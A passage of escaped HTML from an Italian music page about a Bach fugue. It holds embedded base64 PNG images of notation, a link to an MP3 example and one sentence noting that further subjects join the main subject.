src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAABDIAAADNCAIAAADFQMeoAAAW5klEQVR4nO3d0ZbjKIwA0P7\/n84+zG5OtpI4YIMk8L2P0wkSIGM0VdPz7wEAAJDqX3YCAADA3WlLAACAZNoSAAAgmbYEAABIpi0BAACSaUsAAIBk2hIAACCZtgQAAEimLQEAAJJpSwAAgGTaEgAAIJm2BAAASKYtAQAAkmlLAACAZNoSAAAgmbYEAABIpi0BAACSaUsAAIBk2hIAACCZtgQAAEimLSnh3wXZuY93br4Hn29cw7EfAwCgnStULe232+0vweeu+8dfaRxw7McAAPjJXaqc9mvu9rfhc5f+46+M7fr0JAAAQ7hOlaMteXW6Lbk4oLYEACCS61Q5XTfd7S\/EJ35gcvxJbQkAQEGuU+VoS\/7oXRBtCQDAclynynHT\/UNbAgCwPdepctx033U1CQOH0pYAAMRwnSrn50334x\/9e9P7gdMfHvLFxmFbPjZwKG0JAEAM16lyzrUlf7777TPtH\/j2rW9fP\/7it4QbNfY52hIAgEW5TpXT0jac\/vrxB8790XFiwzuT3gTO5aMtAQCI5DpVzpXeoOUzP8c\/\/tbwfqaRtgQAYGOuU+X8a9Dy9d4PXO9nprYlP4fSlgAArMt1qpyLV\/x7tiXtIbQlAAAFuU6V09IeXPz68Lbk51dGXdyPk78ywtSPAQBwzHWqnA3aktdPBrQlXeNrSwAACnKdKierLfn53fZrelc+Xf696EqsNx9tCQBAJNepci7edCe1JaeHHX5x15YAAOzHdaqcxLbk259OanXO+TNg7+DaEgCAgq7efa9fy9zq\/shtSx6fNvc4mRN9zkWvY2pLAAA2cOY69eceduVm5kr3LrctORFaW6KGAQAuGnMBPXc5c6X7KLEtORc3vi15HXZS1WlLAAAiDfvXzKf\/pbUr3R9T25KDZT8d92efoy0BAOBYdyNx\/KeN9zM9yYHrK\/NxhOc\/+ffmz7d++hbuY8T3KKfn9XOOA7849mMAABwb9teqtt\/P\/lyOGxO4ieMG4Nwg743BxxDfvnUw1PF3B87oYJonvvIzmbEfAwDgp+i25P222pjA3nrbgN4x3\/\/5uTQOUjr400l73T5m41zGfgwAgHZ9t7qLn3n4UUltjZti7wAAGCu0LXn\/983tiTJb147YOwAABhrTlrT8BsvrH2lLCtKWAACQZXBbcvCBrs8TrGtHbBwAAGNFtCV6kvpaft71+uGAlAAAuI8Bbcnxjfb9H2pLCvr35uBjwbkBALC9AX9BcNePSn5+nkTvzUlLrwIAABd1\/1\/ev\/1Glh+VbENDAgBAsEv\/k+zenuShLQEAAN5cag8O2pKfvw6kPwEAAP5zvivQkwAAAEOcbAzOtRa6EQAA4N2ZDuH0jzu0JQAAwLvuDuF0a6EnAQAAPjrzK1jnWgttCQAA8FHf\/+X9SlOhLQEAAD760SSM6iX0JAAAwDf6BAAAIJm2BAAASKYtAQAAkmlLAACAZNoSAAAgmbYEAABIpi0BAACSaUsAAIBk2hIAACBZ6bbE\/xUeAADuoO69\/9\/\/yU4EAACYq+il\/9\/\/l50OAAAwUcUb\/7832RkBAAATVbzxv7clOhMAANhYuev+x55EWwIAABurdd3\/1pPoTAAAYGO17vraEgAAuKFCd\/3jnkRnAgAAuyp00T9uQrQlAACwqyoX\/Z8\/FfEDEwAA2FWVW37LL2tpSwAAYEtVbvmN\/wGJzgQAAPZT4orf\/h+1a0sAAGA\/Ja742hIAALizElf83rZEZwIAADspcb9vbza0JQAAsJ\/8+337j0oe2hIAANhR\/v1eWwIAADeXf7\/v6jS0JZNYUm7OI7ATuwlU41xqkb9G2pIKLCk35xHYid0EqnEutchfI21JBZaUm\/MI7MRuAtU4l1rkr9GJ\/7BEZzKc9eTmPAI7sZtANc6lFvlrdOJHJdqS4awnxc0uUY\/ATgJ2U8HATx6TV1ajRfIa+VFJEZaU4rQltNOWQAUek1dWo4W2hMfD00J52hLaaUugAo\/JK6vRYo225N+bmPTuw5JSnLaEdtoSqMBj8spqtFigLXnvSWztcJaU4rQltNOW8Mr9IYvVfmU1WmhLeDw8LZSnLaGdtoRXH28RrhYBLOkrq9Gielvi7IhhSSlOW0I7bQmv2tsSHctY1u2V1WhRui1xQISxpBSnLaGdtoRXQ9oSF5ITLM4rq9Gi+7enAACALYU1IR9aj8TY\/5vBpyUou167sqpj3a1QAyY7O0TyQXyzgpltg4I8Dq1auoy+s\/0QNqmYQFc4V1+VSqas\/DX6WDcVnvlbsapj3a1QAyY7O4TX5042KMjj0Kqly7CGo03YpGICXeFcfVUqmbLy1+i9bio88HdjYce6W60GTHZ2CK\/PnWxQkMehVUuXYQ1Hm7BJxQS6wrn6qlQyZeWv0Z+6KfLA342FHetutRow2dkhvD53skFBHodWLV3+9fyrz+tSJlWTc\/VVqWTKyl+jZ93MftqrFWgpVmasuxVbwGRnh\/D63MkGBXkcWrV0aV+ua\/3IgItKuyVqwLn6qlQyZZVYo5invUKBVsjho5pZrWvSRt+5fmaH2PL1WbZgZtugII9Dq5YuQ+alLTlhy3P1tFLJlFVijWIe9SIFWiSNPwqmtLR5u3zb+tGWVBu5sg0K8ji0aukScHpoSz7a9Vw9p1QyZeWvUUxP8qhUoEXSeFUwpeu2vDc8Sm7WBrfAjV+fBQtmtg0K8ji0aukSOSltyauNz9UTSiVTVolfarphW1Ikk6dq+Qyx8b2h2n5tcAvc+PVZsGBm26Agj0Orli7akiwbn6snlEqmrPyKielJHsUKtFQyj02fll3vDQHj99rgFrj367Nawcy2QUEeh1YtXbQlWfY+V3uVSqas5IM1rCd5KNBDpZIZZeN7w6PYlm1wC9z+9VmqYGbboCCPQ6uWLtqSLNufq11KJVNWzhrF9ySPkgVaJ586mQy0\/b2hzq5tcAvc\/vVZqmBm26Agj0Orli7akizbn6tdSiVTVsIapfQkj3oF+qiUUpE0xtr73hAWpcUGt8A7vD7rFMxsGxTkcWjV0kVbkuUO52q7UsmUFbpG7Q3JjM2rVqCPlwXJTmTPp+Um94YKe7fBLfAOr886BTPbBgV5HFq1dNGWZLnDudquVDJlFW1L5kWfMfJpdc79CjkM594QZoNb4B1en3UKZrYNCvI4tGrpoi3JcodztV2pZMo6WqP2LgIAAFhdWBPyofUIClNgLdLX+l2hOtjxX0UnLmnMht6nfgJCpC\/grQpmtg0K8ji0aukSmX9YrCU25Q7nartSyZQVsUYVepJHvQJ9fFqZxEyWHr9O0Gfo+HvDxvUTEOIOr886BTPbBgV5HFq1dIlMPizWEjtyh3O1Xalkyko42j56hFw7StXEt3XISmbp8esEfYaOqeeb1E9AiO1fn6UKZrYNCvI4tGrpEpl8WKwldmT7c7VLqWTKSjjavh12swuoYIHWOfq3vPPd8N6wa\/0EhNj+9VmqYGbboCCPQ6uWLpGZh8VaYju2P1e7lEqmrOltwLH3z8\/OZ974XdqXJSyfpcevE\/QZOqCY71M\/ASH2fn1WK5jZNijI49CqpUtk2mGxltiLvc\/VXqWSKWvWGh2fa99qJeCo\/ZbhvLjfMil16M+OmzKvXe8NN6yfgBAbvz4LFsxsGxTkcWjV0iUy87BYS2zHxufqCaWSKSutLfn2rUn5PF4KNP3MTU\/gY0pLj18n6DP0vOg3rJ+AEBu\/PgsWzGwbFORxaNXSJTL5yItETKArNj5XTyiVTFlT1ujgXDuukqzTNvLkzY1+kNXS49cJ+gw9Kfo96ycgROLqPXYsmNz63KAgj0NvVi2zbVZ7wYGu2PVcPadUMmWNX6Pjc+14V6bW0Lcc0l\/VFQ792dFTZpe4pJM29Lb1ExAifQH3KJjjiGGFukFBHofeo1rCROYfFmuJTdnyXD2tVDJllTva5m3bQQIx52\/lQ392AikT3OzecOf6CQix3+szuGCOwwWX6x4hDkKvXi3BIqcQFmuJfdnvXL2iVDJllTva5m3bQQ4xp3Dlc392AikTdG8IE5DAliX6Gn3dgjkOlFKxGxTkceh1qyVF5BTCYi2xL\/udq1eUSqasuKOtfYSxKf3J7eCPAk7hsof+BreEIkGfoWdEv239BITY8vUZUDAHZ\/6xgTl8zGrq+DEhDkIvWi1ZImcRFmuJrdnyXD2tVDJlBb2fegcZmFXLyJEHcc1zf4NbQpGgz9BTy\/hu9RMQYtfX59SCOTjzfxqVw7fEpo4fE+Ig9IrVkihyFmGxltiaXc\/Vc0olU1ZEW3JikIFZtYwc\/L4seOhvcEsoEvQZOuzeMCNKrw1ugbu+PucVzLcDv9GoNL7lNnX8mBAHoZerllyREwmLtcTu7HqunlMqmbIiXlEnhnofcFSGB38UdhAXPPc3uCUUCfoMPS\/6DesnIMTGr89JBXNw5rcYlca33KaOHxPiIPRy1ZIrciJhsZbYnY3P1W\/hDs66JbYs3dEaXXzrAAAACwlrQj60HmNGuTaxmCX79q2szYiJ2LiYAWlMHb9O0GfosJ2dGqVRQBpXQsw7VUZZrmAal3TGUhfZzcSCWa5a0kVOJCzWErtzn3P1+Aja7IGaKrktaXzBnB7\/T6yfCXQNeN3UoFMX80QyU8evE\/QZOiB6StF+FDPZc98q8gi05LlQlN7jZcg6l9rNxIJZrlrSRU4kLNYSu7P3udp78iyxZekmvqLOfatXV5LHCfTNeZAZoWev5LmUpo5fJ+gzdEz0xNL9k0a1EAWfgp\/ZLhTo3PKeDl1wN1XLQiJnERZria3JTXJqAZ84cJbYsnRpbcm518yVd8\/7h08MMtzw6LOX8XRWU8evE\/QZOiZ6bvW+plEqRM2n4GfCCwWKXNuau6laFhI5i7BYS2xNbpLzCvjcabPElqWb9X468ZUr2vP8mMOl+V82MIfZa3glsanj1wn6DB0WvUgN1wlR9in4mfNCscIWtuxuqpaFRE4hcmtiAl2Rm+Sk6j19zuzxNM2W0Ja0vEveB7n++nn9ZMx76ziT4\/leH7bXiJkd5TZ1\/DpBn6HnRZ9UPxdTKhKi8lPwM+2pg48tmNdx5i1p5d1ULQuJzD8s1hKbkpvkjNI9fcJs8BzFKNSWvH+m\/bstm\/3nkM2qj4MpXEzpeOSfRk3wW25Tx68T9Bl6UvTETTzOqkiIyk\/Bz7TnjTx8vq\/fnbeSlXdTtSwkMvmwWEvsSG6SM+r23OOwwUMUZkpb0vXhb58\/GOfciVnhhD0+9K8k1jLy8KBd6c0OUSToM\/SM6BW28ltiQwY5mE5LiOJPwc\/MJw07Y9YBy5W+m8fDJhbMctWSLjLzsFh1tuOgVHKTHF605x6EDZ6gSPltyfEnGwdp2e\/0sviWdu9ELg4+KmJverNDFAn6DD08ep3d\/Jjble+2zKglRG\/Zp6\/bn8xnjDlp4gHLlbWbjYMHrMBxhjPGnLqwiSLTDouVvhf1C2Z4AicGrLMaq0huS35+sj3oz\/1Or4nGZ\/hcku2DDwl3Ir2AKBWCPkMPj15qQ99zO\/etsYXaO2Duor1nPmPMSXMPWLH43YyJct2M6PVnfUVk2mGx0iuwfsEMT6B3wDpLsZBV25LeuI\/sf7XQ9RifSLV3\/NOBzklZ\/MQdH762Nbf1Nb3ez8+o1XPDxi\/Xt8yHDzhvBQIWLXI3wwINMTz6KhM\/LTLnsFgpG+FJaRywziIsJ7MtaRl5VNx0vY9r73Raj4ek5UrZncSSGL7Cs+vnenpdHz5nxsgXJj3S8GR659sbPWDpwnbzRKDh+3Ui4eEDtk8wce7nRCYcFit+FzwpLQOWWoEVaUuCBFRq8xGRsFYpu5NYEsMXucImHmhPpqtKT8y38lNwYLmCiVm9gN3sClGkfparlnSR0wmLFbxHnpTnmMfh6kx\/UWPWq30Puraqa7Tiex9TqWUPiJS4O52GRfbxm8Z8WurzeumWfQoOLFcwYWs4dTebS69WFS1XLekiZxT5aMQEenhSDsesOfd1aUuCRBZrwWcjJYGdTsNqG\/pHYz7Hx\/dPvSkVX7RXyxVM8GJO2s3IghxouWpJFzmjsFjBk\/Kk\/Bm27KxX1\/dbUgAAwK7CmpAPrcewgZqn1DXtxqHS17HFWtmOlTLfxEWescVZ9TPqFGsc5\/T4S1uuYDbYkXULcrlqmarafg2JVWpSjcmkr\/y3zBMT4ITMtqSlXI4\/Vqf6G62V7UAp801c5ElbHFw\/Y989XaMt92hftFzBbLAp6xbkctUySc0tuxir4KS6Uspa9oPMc3Og16zfT238ZOOY1yPWsWLO16VMNnGF5+1vTP3MeAOdG\/Mmj8lyBbPBvqxbkMtVy3CVN+50oLKTOpdY2IL\/zDw7C\/pM\/EFw4ydbPvYz1lqVt2LOF6VMNnGFp+7v7PqZ9BIaPuBOliuYDXZn3YJcrlrGOrFxkTM6F6jypGpm1aJUMjRKa0teP\/\/zM0NilbJu5uekzDRxeWdv7rz6OfEGak9m7Gg7Wa5g9tigRQtyuWoZqGvLUnbwRKAlJlUtpRbV8qFFid9PPf7wxz+q+Qx0WT3\/LinTTFzbgJ2dUT9d755zb6NR42xmuYLZZptWLMjlqmWUxoModx97Ay0xqcY8w5JpVDMrji3w+6kfx6n8JHTZYAotUuaYuLBh2zo20Ln34okncYlXWqTlCmaz\/VqrIJerllHCDqiLSfZ+vv6kjrMNzqFd8fT4KOLX04cMNWlwYkzaqeMjMrE8VizO8y\/GBSdbzXJruFa2m1muWoaoc0Adj98Vq86ktmSVVhT0l\/lcH2f4sEQKeCu8n9eJFbJifV57Py422WqWW8O1st3MctUyRPoB1RilK1b6pPZmlVY0fcOGPD\/Pr3sgFzVqv1Y5tVcs0dOvxuVmWtByy7hWtptZrlqGSDyg5oVLnNQdWKgVRf\/tctdHUGQrur5rax3cKxbquRVebpo1LbeSa2W7meWqZYiUA2p2xJRJ3Ye1WlHOX+MQ+V0quLhxy53dK9bqQsu7n+XWc61sN7NctQwRf0CdiNgbN35St2LFVpT81zgM\/DCVXdm+Ewd3es0sWrFLrO2WllvStbLdzHLVMkrkAdUV60royEndjUVbUfK9rf05VFtLO719XUd2nUN83dOw8qpubLmFXSvbzSxXLQPFHFDdb5prCcRM6oYs3YpqbdhBDSmvpZ3eu+DXwyirl2upxbyD5VZ4rWw3s1y1DDf7gEp57zh1h7OGKzrasItPJgAAsJCwJuRD65EYu0v6SvHNvCpf97mCvXm+2JX3DiRa5hHywBc0+7D2boCaPGLsynsHEq30FHnm64g5sr0boCZPGbvy3oFEKz1Invwiwk5tLwaoybPGrrx3INFKj5Pnv4ITR\/aVs9u7AQryuLEx7x3IUvp\/p\/jxu5MSo0XXYT3q+PZigGo8dOzNewdSxD1X159tB0G6lpN60iHurQB1ePq4A+8dCBb0gI26sDoREl3oRxzlsBVPNADDRbxaBl5bvQsTaUuA\/3iiARhuvbbE6zCLngT4j4cagOGmv1rGXl7dcRPpSYD\/eK4BGE5bQisNCfAfTzcAw63XlsxOmAN6EuDhKAZgAm0JfTQkgMccgOFWaktceevQjcCded4BGE5bAkAfRzEAwy3zFwTrSQCKcBoDMNwabUlj6wJAAKcxAMNVaUtaRghIFYCfHMgADBf0arnYkHgFAgDAxuKu+70NyUNPAgAA9xB64\/dDEgAA4F3Cvb\/lPzXRkAAAwH2k3f51IwAAwH+0AQAAQDJtCQAAkExbAgAAJNOWAAAAybQlAABAMm0JAACQTFsCAAAk05YAAADJtCUAAEAybQkAAJBMWwIAACTTlgAAAMn+BxGJdM43dE6LAAAAAElFTkSuQmCC\" width=\"350\" height=\"69\" \/><\/i><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-7.mp3\">Bach 7<\/a><\/p>\n<p style=\"text-align: justify;\">Al soggetto principale se ne aggiungono altri nel corso dell\u2019opera.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAABDIAAADNCAIAAADFQMeoAAAXq0lEQVR4nO3d25bjKg4A0Pr\/n\/Y85KyadFIhgLkI2PtxysGyULA01d3n5wIAAJjqZ3YAAADA6YwlAADAZMYSAABgMmMJAAAwmbEEAACYzFgCAABMZiwBAAAmM5YAAACTGUsAAIDJjCUt\/dwwO\/b26p43cX1mDtteBgDAAHqvLvK72+2b4Lp2P\/2RzAXbXgYAQD+asF7y29ztu+G6pj\/9kbZTn5kEAGAufVgvxpJn1WPJzQWNJQAAS9CH9VLU6W7fEFf8wiR9pbEEAGAn+rBejCUvShNiLAEAOIc+rBed7gtjCQAAn9ztw\/Rzn8jMu6IhoeFSxhIAgOAq+7CfN23D2sDXzPz5o6+JLcp89TZ12l9jCQAAf7rVhxlLEurGkpfPfrom\/4JPn\/r08fQHPwWcKbNgjCUAAKdpM5a0imYnOWND9cfTF9T9KB1Y88mkNIC6eIwlAABLMJb0cmc2yLnm6\/rpTzWfZzIZSwAAeGcs6eUnQ87HSy+o\/mD1j0qllzKWAAAcqL4Py2yvj3WzxT9zLMm\/hbEEAGAnDcaShtHsJGc8uPnx5mPJ14+02u508HdW6HoZAACdGEt62WAseb5ywFhStL6xBABgJ8aSXmaNJV8\/m9+mF8VT5OdJUWCl8RhLAACWUNmHaeO+upmiTmNJ9bLNd9xYAgDAL2NJLxPHkk8\/7TTq1HlZsHRxYwkAwE6MJb3MHUueL3hWfcceO\/68prEEAOBkNX2YHi7H3LGk4tbGEiUNJ\/BlB4jJWNLLxLGk7r7jx5Lr31\/p1H1w5GXABnzZAWIylvTSdSxJdPPV9\/065xhLgA34sgPEZCzp5X6W\/lzh93\/5efPyqa8+3e7PO77fpfq5vj5jww+2vQzYgC87QEy92sHDpQeAukXeB4M\/b\/HpU4ml0p9t+ESJx6z4yNdg2l4G7ME3HSAmY0lLpWNA6Zrv\/3tdGImQEj\/ttPX5a2Y+S9vLgM34ggPEZCzZUOYG2UdgMw2PPscjwGBd\/p4xExVtkK0EttH2\/5HxsgMYzFiyG2MJcKDMP4HZ9jIAGqr5D9g5qcMq2h2bCOwh8++Gtb0MgLZyf5H9yYAQyVe0NbYP2EDm6ynzFZb\/pnOEArTlVN1K\/tvUCxXYQOb\/cZZzTf5ll1MUoAOn6obS72mvUmAPmWdd28uuwj8uC0Amp+q2DCTAxp6PtfQs8XXeyPd865kPD7AjBysA63mZDXImiiZjiZkEoBNnKwCLeZ8Nvo4T+ZflDCcANOd4BWAln2aDm2NJ6VIAtOWEBWAxn8aDnEEic9gwkwAM5pAFYB8V80bmUsYSgK4csgDs4+sUkT9pmEkARgp9znoNAFCq1VjydSkAGop71HoZAFDn6x\/NSl+TuRQADQU9bf3qHIAevFYAYop4NPtbhgB04rUCEFPEo\/l9LPEKAaAJ7xSAmMIdzX\/OJF4hADThnQIQU6yj+dNM4i0CQBNeKAAxxTqajSUAAHCgQL1+eiYxmQAAwK4CNfrpIcRYAgAAu4rS6H\/9rYhfmAAAwK6idPk5f1jLWAIAAFuK0uVn\/gUSkwkAAOwnRIuf\/5fajSUAALCfEC2+sQQAAE4WosUvHUtMJgAAsJMQ\/X3+sGEsAQCA\/czv7\/N\/VXIZSwAAYEfz+3tjCQAAHG5+f180aRhLAABgP\/P7e2MJAAAcbn5\/bywBAIDDze\/vK\/5iickEAAB2Mr+5r\/hVibEEANjbz19mB\/XRWtES0+SK8asSAIBff\/b3YbugtaIlOGMJAMB8OS1+nEZorWhZwhpjifoGAHZV1OJP74XWipaFLDCWKG4AYFd1Xf6sXmitaFmLsQQAYI7qLn9KL7RWtCwn+liiuAGALd3p8sf3QmtFy4pCjyWKGwDY1VqN\/lrRsqLiPz0FAACcZuZYMsafzzk3Kcxll9MkZ0WqmviOrdJZ3VhFU3gnpJtrDo42EUOTpYhp\/u7+WWQDipuw7HKa5KxIVRPfgVU6vrGuvvudYJqsPCzarw\/SajUCmr+770U2prgJy0anSc6KVDXxHVWlc9vr6gBKw2i1\/phoMx+n4YJEM393X4psZH0Tk41Ok5wVqWruGPNCPKdKaxvs+WPJrMccEG3+EzVfljjm7+5vkfUucdW8CjuVJjkrUtXU+fP116n\/O6RKS3vr5nn+DaM0mImP2TvaoofqsTJBhNjdMVWumldhp9IkZ0WqmlJfX3zNG8ETqrSosW6e4ZdI8kOa\/phdoy19rn7rM12I3a3+nlTcpUnAdGWn0iRnRaqaIpkF0\/ZFeUKVZvYbnfqQl0i+BnZn8baP2TXa0ucacCNmmb+71V+SuhvdX4fe7FSa5KxIVZOvqFryX5eZFxSHe8Pg7jaz3+jXh7wE03bB55WbP2bXfcnXu0KYLsp\/5X3AcaCaV2Gn0iRnRaqaTBWlkvPGzGw9x1TpmJd+3X2HhdQv1T0es1+0RfrVBkHM3N3BZ4FqXoWdSpOcFalqMtWVyteXZmbr2btK89\/7PSIpuvuAYJqv+bty88fsF22RTntBHNN2d\/xZoJpXYafSJGdFqpocLy++\/Pdgzqszp\/XsV6X5L\/0eDUB1AP1y0m\/ZHo\/ZKdpS\/baDIObs7pSzQDWvwk6lSc6KVDU5qt+GTd6e\/ao0\/6XfuweYGMB7PJ2W7fGYXVORr\/emMN2E3Z11HKjmVdipNMlZkaomR\/U7sckLtFOV5r\/0u7YBPzH+yxsv8XRatvlj9s5GpgH7wlzz\/82NYceBal6FnUqTnBWpanLceS3ef4f2qNKi937XTuB3tcH3\/RpPp2XbPuaYnHw1bHeYJehY0u\/uPVamLTuVJjkrUtXkuPNmvP8m7VGl+e\/93s3Ay2q9b1caT6dlWz3m4OR8Mn6bGKzsl8IAAMCBZo4lLW8T4IHHJHQ\/45Nmp9IkZ0WqOk1yflW\/H++\/T5tXaf6rf0A\/EK3GOsWz1rKlHKTbi\/IfThpQaqq5zvik2ak0yVmRqk6TnF\/V78f7r9TmVZr\/9h\/QD0SrsU7xrLVsKQfp9vr\/Oib7AOpdaqq5zvik2ak0yVmRqk6TnGcVPXqTzr5tlWa+\/ZtEnhlPj2WrrfWYQbLnIN3eiEkg8wDqXW2quc74pNmpNMlZkapOk5x3RTWT09x\/bfrbVmlmA5COuaFoNdYpnrWWLeUg3V73MSD\/ABpwJKnmCuOTZqfSJGdFqjpNcm7KfMOmu\/+2Vfpzxn8npFqneNZatpSDdHu9drfuAOpabS83HXkaLm18cuxImuSsSFWnSc5NX9+wOa+8tlX6u1RdP9BctBrrFM9ay5ZykG5v2ljy6VOd4rmeqnnuybic8WmxF2mSsyJVnSY5d2S+zr6+6dpW6ctS09+50WqsUzxrLVvKQbq9XuWblv5gj5Byoopw9zHBFBkfRpxnfwgVzBUvHnJEq+poJOeOVq+PtlUabU8PiWetZUuNP0jD9ma76vJv8FW32l33+1MMYwrua1rClv74MOI8+0OoYK548ZAjWlVHIzl3tHp3tK3SaHt6SDxrLVtq2EG6Soe2n9FjSc7Hm4f0HFjiR11LLafEYxb9+DDiPPtDqGCuePGQI1pVRyM51Rq+O9pWabQ9PSSetZYtNeAgXa5J20zjnN7fv37bnIhhQKkVFXqoih8fRpxnfwgVzBUvHnJEq+poJKdawxdH2yqNtqeHxLPWsqW6HqTr9mk7GTeW5K\/QNqSX2BI\/6lpn65b7+DDiPPtDqGCuePGQI1pVRyM5ddq+ONpWabQ9PSSetZYt1e8grWvSgqRlJy0T2mTbetdc4kdd62zdch8fRpxnfwgVzBUvHnJEq+poJKdO27dG2yqNtqeHxLPWsqVCdWhO9R5GjCUVizSMKmflAUW2brmPDyPOsz+ECuaKFw85olV1NJJToflbo22VRtvTQ+JZa9lSPQ7SuvYsVJ+2k5YHUKs9e3yk+cYn1hlQZOuW+\/gw4jz7Q6hgrnjxkCNaVUcjORWavzLaVmm0PT0knrWWLdXjIK1rz0L1aTtJJfTmVgEAAHuYOZYUrHIv+jF5+fSpwRlfzvicRNuIUMFc4rlnVrSqOk08RTr1Cm2rNFoOD4lnrWVLNT9IK\/pPHWNXk8eSkQXx5\/Uq7KvxaYm2F6GCucRzz6xoVXWaePLdfxumV26y1BUvh4fEs9aypZofpMNaUDJ1HEvqPtWvLN4vVmE5xmcm2naECuYSzz2zolXVaeLJdPM9mLN4w9VaLdXEIfGstWypHgXfu\/mkyLSx5E411BXH+8UqLMf45ETbkVDBXOK5Z1a0qjpNPDnuvAHz12+4WqulmjgknrWWLdW8RPv1nNRp9i9cFW1bXSncrJKXKxVZpvH5ibYpoYK5xHPPrGhVdZp4vqp78VXcouFqrZZq4pB41lq2VI8Sbd5tcseEsSRn198XuV8oz1eqsHzjsxRta0IFc4nnnlnRquo08aSNaY\/arhwwh7ND+Ee\/TVxo2VKdSvRrXxrk8U8QaCx5vyb\/szkV83uZIisyPlHRdidUMJd47pkVrapOE0\/CsA6p7eKhcngdE89ay5bqWqJ1vSVtdRlLii7+dH1inbrSUWp1xucq2gaFCuYSzz2zolXVaeL5ZOSbq2vPN90h8ay1bKm9S5QrwliSvjJzkZxKNZDUMZaECuYSzz3GkodQwVzi+RDDsIHk+Y4NV2u1VBOHxLPWsqX2LlGu6WPJ1yvzb5o5lqSv4Z2xJFQwl3juMZY8hArmEs+\/tx4\/kDzfuuFqrZZq4pB41lq21N4lyrXuWFJ630v91TKWhArmEs89xpKHUMFc4nm675SB5PnuDVdrtVQTh8Sz1rKl9i5RrrljSc7Kre5LtdVfjfeFCuYSzz3GkodQwVziiWHvnu+QeNZattTeJcplLOErY0moYC7x3GMseQgVzCWeGPbu+Q6JZ61lS+1dolxNxpKr\/I9m5Y8lRZNJcdxkMJaECuYSzz3GkodQwVziiWHvnu+QeNZattTeJcplLOErY0moYC7x3GMseQgVzCWeGPbu+Q6JZ61lS+1dolzpseQHAACg\/yDXcujMjLvo2TKXGpOsM41PbLTdHBZM5okQKjlXvHjSZkV7bFVnEk8Ebas0Wg4PiWetZUvtXaJcc8eSnIJIX2YsGcBYMiCYnIEkbKlHiyfNWPIQKphLPDHs3fMdEs9ay5bau0S5Go4lV8m80WMsKQ6XPMaSrsGUDiTRknOtdrIbSx5CBXOJJ4a9e75D4llr2VJ7lyhX27Hk6jCZJK6J3KjtxFjSL5i6mSRUcq7VTnZjyUOoYC7xxLB3z3dIPGstW2rvEuWaOJY8X\/\/1mib3oo6xpN8pbywZz1jyECqYSzwx7N3zHRLPWsuW2rtEuZqPJVfVtJC++M8fhW3R9mMs6RHMnZkkVHKu1U52Y8lDqGAu8cSwd893SDxrLVtq7xLl6jGWXK1nhj\/XCdui7cdYYixJixZPmrHkIVQwl3hi2LvnOySetZYttXeJcnUaS66mY8P7ImH7sy0ZS5oHs9NMcq12shtLHkIFc4knhr17voDx9DjVoz1mW3uXKFe\/seRq95V7WSFyf7YlY4mxJC1gSAnGkodQwVziiWHvni9gPD2O+miP2dbeJcrVdSz57wYteqnfj0duznY1PtXR9rd5MHXTSLS0\/IoZ1Sezoo22faGCucQTw949X8B4erwCoj1mW3uXKNeAseRqMUvE78w2Nj7h0Xa5eTB1b6NQOXkWNrA\/zYo22g6GCuYSTwx793wB42nlZdlZTzTA3iXKNWYs+e9ON7qr+J3ZxsbnPNpGNw\/m5lsnmuDhvZgVbbR9DBXMJZ4Y9u75AsbTyewn62jvEuUaOZb8d7+SL88537TIxmc+2nb3CGand0xRhNOfaNbdpz\/4i1DBXOKJYe+eL2A8ncx+so72LlGu8WPJ\/29c+AVTPbOMz3y0g7VTMNu8XYrinP5cs+4+\/cFfhArmEk8Me\/d8AePpZPaTdbR3iXJNHEv+lCi47b9ss3w918anPdpedw1mg5dKUcDTH3DW3ac\/+ItQwVziiWHvni9gPJ3MfrKO9i5RrvRY0u87AwAALGTmWBLKmHQcIrPghlVhcDKQVpSf6RVlNx+G5SHzPRdtX6LFsyI5vKm4YfTKLiRXAS2zJb5srZSeYtK+SgZmfUeKbjr9i7zKbvY2IA9L91LR4lmRHPaw3FcpMrkKaKUtUUD3VZxf0r5KBowlmQFMvHscXfNQOpBMr4p30eJZkRwOE\/mrFJlcBbTSlvi+3VTXB8j5KhkwlmQGMPHucfTLQ91MEm1fosWzIjkkOCUa0EpbEvDVtZDqDkDaV3l8Y0lmABPvHkenPFTPJNH2JVo8K5JDglOiAc35t1\/r3kMBX12rkPM7VsmAsSQzgIl3j6NHHu7MJNH2JVo8K5JDglOiAY3bkvtvo4CvrlXcmUnkfJUMGEsyA5h49ziMJWnR4lmRHBKcEg0oyr8Rmb9O1zi3dHMmOSHn6ZpcJQOzNqvoptMrapXd7K15HgpnkMpXwDABQwLa8jUPaMSWNHwtqaEKFW\/94B1DK5lluUoGZm1W0U2nV9Qqu9lb8zxknvN3zv+RAoYEtOVrHtB6Y4kyKlWatODtQhOr90x\/mhVqRXX1CyYngIl3j6N5Hkq\/U8G\/XzGjAhryNQ8o1n9RK3O13jFvJj9pS7QLN23TNr2bFWrRTafnc5Xd7K15Huq+WWG3I2xgQCu+5gEZS\/aXk7SF2oU7NuucXnwKtfdTFK08PZ+r7GZvzfOw2dcqeHjAfb7mAa03lvQOeEuJvK3YMdSpaJvWysZ7qGOeomjl6flcZTd765GHnb5T8SMEbvI1D8hYcoSvDetaHUOFojpcNCG\/oQ5+iqKVXyIZn+dVdrO3TnnY6ds0OwSgL1\/zgFYaSxZ6pQXUZAviK6q3arOf8m85YQ9Izk8yPzmR5D9RE7335b7l8jA4z2Py0\/URgPF8qQMylhxn79ftzbajSaHOkhP2gOT8ZIwlmSt0DfLlXpHJQ9qY\/CydIuCdL3VAy\/wDwd4KVDukF0k\/QsWDZCanaOVPib2f9h7Rbkwe0uQHtudrHtAaY0l1pwLXAX\/Z\/SEdfNGz9MtS4vqba265p\/3IQ5r8wPZ8zQOKMpbkrDAgVLZU2rYu2r+mw858nN6JSkdYumzvaDcmD2nyA9vzNQ9o0JZUtwg6Ce47pHNNR57zUBWJKk1X4vrSZQdEuzF5SJMfgPHGnbwVzYE2glZOaFvTwffr8osylri+aNkx0W5MHtLkB2C8oSdvfmeggaC57RvW9CP06\/KL8pa4Pn\/NYdFuTB7S5AdgvAknr9aBiTYutvSzBGn0E9fnrzks2o3JQ5r8AIw37eTVMUBb6W9Q+kfDuvxP1+evOTLapaUf\/6hUVJAfgPGcvLCJdNud\/tGwRv\/T9flrjox2RZlJOCEVd8gPwHhOXthEuu1O\/2hYl\/\/nR4rWHBntWmSjIfkBGM\/JC5tI95rpHw3r8t8\/VbrmyGhXISHNyQ\/